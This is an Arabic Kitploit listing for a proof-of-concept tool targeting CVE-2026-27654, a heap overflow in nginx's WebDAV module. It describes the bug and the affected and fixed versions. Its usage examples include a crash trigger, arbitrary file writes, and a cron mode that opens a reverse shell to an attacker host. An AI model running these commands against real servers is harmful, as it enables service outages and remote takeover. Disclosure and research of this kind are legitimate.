Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-27654 — تجاوز سعة المخزن المؤقت في الكومة في وحدة `ngx_http_dav_module` ضمن NGINX عبر تجاوز سفلي في `size_t` (رفض الخدمة عن بُعد / احتمالية تنفيذ كود عن بُعد) | Kitploit
أدوات/GitHubGitHub/johanneslks/cve-2026-27654
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائية
GitHubjohanneslks/cve-2026-27654

CVE-2026-27654

تجاوز سعة المخزن المؤقت في الكومة في وحدة `ngx_http_dav_module` ضمن NGINX عبر تجاوز سفلي في `size_t` (رفض الخدمة عن بُعد / احتمالية تنفيذ كود عن بُعد)

عرض المستودع
8منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-27654

تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) في وحدة ngx_http_dav_module الخاصة بـ NGINX عبر نقصان من النوع size_t (رفض خدمة عن بُعد / احتمالية تنفيذ كود عن بُعد)

الوصف

ngx_http_dav_copy_move_handler() في src/http/modules/ngx_http_dav_module.c يحسب طول URI الخاص بالوجهة بطرح طول بادئة الموقع من مكوّن مسار URI في ترويسة Destination. كلا القيمتين من النوع size_t (64-بت بدون إشارة). عندما يكون مسار الوجهة أقصر من بادئة الموقع، يلتفّ الطرح إلى ~0، مُنتجًا طول memcpy هائلًا يتجاوز سعة تخصيص كومة بحجم 7 بايت ويُسقط عملية العامل (worker).

طلب واحد مصنوع بعناية من نوع MOVE أو COPY إلى موقع DAV مُعيّن عبر alias يُطلق التجاوز. يعيد nginx الرئيسي (master) توليد العامل، لكن الطلبات المتكررة تُبقي الخادم في حلقة انهيار مستمرة.

يؤكد ASan ذلك: negative-size-param: (size=-7) عند memcpy في ngx_http_core_module.c:1949، المُستدعى من ngx_http_dav_copy_move_handler.

النسخ المتأثرة: nginx من 0.5.13 حتى 1.28.2 (المستقر) ومن 1.29.0 حتى 1.29.6 (mainline)، المُجمَّعة مع --with-http_dav_module وباستخدام alias في موقع DAV. أُصلح في 1.28.3 / 1.29.7 (commit ab4b5b8، PR #1210).

الاستخدام

root@kitploit:~
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080

# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh              # non-ASan build (observes SIGSEGV crash)
./run.sh --asan       # ASan build (definitive proof)
./run.sh --both       # run both sequentially

# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put    # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose

يبقى الوضع الافتراضي هو المُطلق المعياري للانهيار. يرسل PUT يتبعه طلب MOVE مصنوع بعناية يكون مسار Destination فيه أقصر من بادئة موقع DAV:

root@kitploit:~
python3 poc.py --target <HOST:PORT> --mode crash \
  --location-prefix /uploads/ --destination-path /x --alias-len 13

بالنسبة لإعدادات المختبر المصرَّح بها حيث يسمح التعامل مع وجهة DAV بهروب وجهة نسبي (relative destination escape)، يمكن للأداة نفسها توصيل محتوى يتحكم فيه المهاجم إلى مسار مُختار. يجب أن تأتي القيم الدقيقة لـ --location-prefix و --escape-depth ومسار الوجهة من إعدادات خدمتك الخاصة ومن إعادة الاستطلاع (recon):

root@kitploit:~
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/dav-proof.txt --payload-text proof

# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/payload.bin --payload-file ./payload.bin

# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-shell \
  --lhost <ATTACKER_IP> --lport 4444

# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-proof \
  --cron-command 'id > /tmp/dav-root-proof.out'

write-file و cron-shell و cron-cmd أدوات توصيل عامة للبيئات المصرَّح بها التي تملك مصدر DAV قابلًا للكتابة وهروبًا في مسار الوجهة. وهي غير مطلوبة لإثبات انهيار تجاوز سعة الكومة المعياري.

المتطلبات

  • الهدف: nginx مُجمَّع مع --with-http_dav_module، كتلة موقع تستخدم alias (وليس root)، وdav_methods تتضمن COPY أو MOVE
  • المهاجم: Python 3. تُستخدم requests عند توفّرها، وإلا فإن الـ PoC يتراجع إلى المكتبة القياسية للغة Python لاستهداف HTTP العادي.
  • للبناء المحلي: gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget

الملفات

المراجع

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

إشعار قانوني

هذا المشروع مُصدَر تحت رخصة GNU GPLv3.

تم توفيره لأغراض البحث الأمني الدفاعي والتعليم والاختبار المصرَّح به. لا تستخدم هذا الكود ضد أنظمة أو خدمات دون إذن صريح من المالك.

قد ينتهك الاستخدام غير المصرَّح به القانون الساري. لا يمنح المؤلفون إذنًا لاختبار أنظمة أطراف ثالثة وليسوا مسؤولين عن إساءة الاستخدام.

راجع ملف LICENSE لشروط الضمان والمسؤولية.

تنزيل الأداة
الملفالوصف
poc.pyPoC بلغة Python — مُطلق الانهيار المعياري بالإضافة إلى أوضاع وجهة COPY/MOVE العامة
run.shيبني nginx من المصدر (ASan / غير ASan) ويشغّل الـ PoC
Dockerfileبناء متعدد المراحل لـ nginx 1.28.2 المُعرَّض للثغرة
docker-compose.ymlإعداد Docker بأمر واحد
nginx.confالإعداد المُعرَّض للثغرة (alias + dav_methods COPY MOVE)
proof_output.txtمخرجات ASan من التحقق الحي